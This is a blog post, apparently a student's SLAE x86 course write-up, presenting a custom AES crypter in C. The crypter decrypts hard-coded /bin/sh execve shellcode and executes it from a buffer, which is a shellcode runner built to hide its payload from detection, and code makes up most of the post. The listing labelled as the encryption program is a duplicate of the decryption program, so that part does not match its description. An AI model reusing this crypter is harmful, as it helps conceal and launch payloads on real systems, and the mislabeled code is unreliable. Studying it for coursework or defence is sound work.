Close

SLAEx86 - Assignment 7

The seventh and last assignment for the SLAEx86 certification includes the following requirements:

  • Create a custom crypter like the one shown in the “crypters” video
  • Free to use any existing encryption schema
  • Can use any programming language

This was a fun assignment and required quite a bit of research on my part …

After a lot of research I decided to use the AES encryption schema using the OpenSSL libraries in C. The shellcode I chose to encrypt and decrypt was the /bin/sh execve shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Using this wiki I was able to build a successful encryption and decryption C program to successfully execute the shellcode. I hard-coded the encryption key and initialization vector for simplicity.

Encryption C Code:

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

int main (void)
{
 /* A 256 bit key */
 unsigned char key[] = "q6UoGP9cQvVvgcJAq6UoGP9cQvVvgcJA";

/* A 128 bit IV */
 unsigned char iv[] = "gWSIpGZyAs3ecaZ2";

/* Message to be encrypted */
 unsigned char encrypted[] = "\x13\x8a\x36\x5c\xd5\x86\x42\xab\x91\x09\x7f\xe5\x66\x10\x10\xd7\xaa\x06\x51\x96\x67\x4c\x08\x86\x17\xff\x93\x9c\xa4\x17\xfa\x6a";

/* Buffer for the decrypted text */
 unsigned char decryptedtext[128];

int decryptedtext_len, encrypted_len;
 encrypted_len = strlen(encrypted);

/* Initialise the library */
 ERR_load_crypto_strings();
 OpenSSL_add_all_algorithms();
 OPENSSL_config(NULL);

/* Do something useful with the ciphertext here */
 printf("[+] Encrypted Shellcode [+]:\n");
 
 int i;
 
 for(i=0; i < encrypted_len; i++) {
 printf("\\x%02x", encrypted[i]);
 }

printf("\n\n");

/* Decrypt the shellcode */
 decryptedtext_len = decrypt(encrypted, encrypted_len, key, iv, decryptedtext);

/* Add a NULL terminator. We are expecting printable text */
 decryptedtext[decryptedtext_len] = '\0';

/* Show the decrypted text */
 printf("[+] Decrypted Shellcode [+]:\n");
 
 int j;
 
 for(j=0; j < decryptedtext_len; j++) {
 printf("\\x%02x", decryptedtext[j]);
 }
 
 printf("\n\n");
 printf("[+] Executing Shellcode [+]");
 printf("\n\n");

/* Clean up */
 EVP_cleanup();
 ERR_free_strings();

int (*ret)() = (int(*)())decryptedtext;
 ret();

//return 0;
}

void handleErrors(void)
{
 ERR_print_errors_fp(stderr);
 abort();
}

int decrypt(unsigned char *encrypted, int encrypted_len, unsigned char *key,
 unsigned char *iv, unsigned char *decryptedtext)
{
 EVP_CIPHER_CTX *ctx;

int len;

int decryptedtext_len;

/* Create and initialise the context */
 if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

/* Initialise the decryption operation */
 if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
 handleErrors();

/* Provide the encrypted shellcode to be decrypted, and obtain the original output */
 if(1 != EVP_DecryptUpdate(ctx, decryptedtext, &len, encrypted, encrypted_len))
 handleErrors();
 decryptedtext_len = len;

/* Finalise the decryption */
 if(1 != EVP_DecryptFinal_ex(ctx, decryptedtext + len, &len)) handleErrors();
 decryptedtext_len += len;

/* Clean up */
 EVP_CIPHER_CTX_free(ctx);

return decryptedtext_len;
}

And successfully running the encryption program:

For decryption, I again hard-coded the encryption key, initialization vector, and the encrypted shellcode that was generated.

Decryption C Code:

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <string.h>

int main (void)
{
 /* A 256 bit key */
 unsigned char key[] = "q6UoGP9cQvVvgcJAq6UoGP9cQvVvgcJA";

/* A 128 bit IV */
 unsigned char iv[] = "gWSIpGZyAs3ecaZ2";

/* Message to be encrypted */
 unsigned char encrypted[] = "\x13\x8a\x36\x5c\xd5\x86\x42\xab\x91\x09\x7f\xe5\x66\x10\x10\xd7\xaa\x06\x51\x96\x67\x4c\x08\x86\x17\xff\x93\x9c\xa4\x17\xfa\x6a";

/* Buffer for the decrypted text */
 unsigned char decryptedtext[128];

int decryptedtext_len, encrypted_len;
 encrypted_len = strlen(encrypted);

/* Initialise the library */
 ERR_load_crypto_strings();
 OpenSSL_add_all_algorithms();
 OPENSSL_config(NULL);

/* Do something useful with the ciphertext here */
 printf("[+] Encrypted Shellcode [+]:\n");
 
 int i;
 
 for(i=0; i < encrypted_len; i++) {
 printf("\\x%02x", encrypted[i]);
 }

printf("\n\n");

/* Decrypt the shellcode */
 decryptedtext_len = decrypt(encrypted, encrypted_len, key, iv, decryptedtext);

/* Add a NULL terminator. We are expecting printable text */
 decryptedtext[decryptedtext_len] = '\0';

/* Show the decrypted text */
 printf("[+] Decrypted Shellcode [+]:\n");
 
 int j;
 
 for(j=0; j < decryptedtext_len; j++) {
 printf("\\x%02x", decryptedtext[j]);
 }
 
 printf("\n\n");
 printf("[+] Executing Shellcode [+]");
 printf("\n\n");

/* Clean up */
 EVP_cleanup();
 ERR_free_strings();

int (*ret)() = (int(*)())decryptedtext;
 ret();

//return 0;
}

void handleErrors(void)
{
 ERR_print_errors_fp(stderr);
 abort();
}

int decrypt(unsigned char *encrypted, int encrypted_len, unsigned char *key,
 unsigned char *iv, unsigned char *decryptedtext)
{
 EVP_CIPHER_CTX *ctx;

int len;

int decryptedtext_len;

/* Create and initialise the context */
 if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

/* Initialise the decryption operation */
 if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
 handleErrors();

/* Provide the encrypted shellcode to be decrypted, and obtain the original output */
 if(1 != EVP_DecryptUpdate(ctx, decryptedtext, &len, encrypted, encrypted_len))
 handleErrors();
 decryptedtext_len = len;

/* Finalise the decryption */
 if(1 != EVP_DecryptFinal_ex(ctx, decryptedtext + len, &len)) handleErrors();
 decryptedtext_len += len;

/* Clean up */
 EVP_CIPHER_CTX_free(ctx);

return decryptedtext_len;
}

Executing the decryption program returned the original shellcode and executed the /bin/sh shell:

Success!

Leave a Reply

Your email address will not be published. Required fields are marked *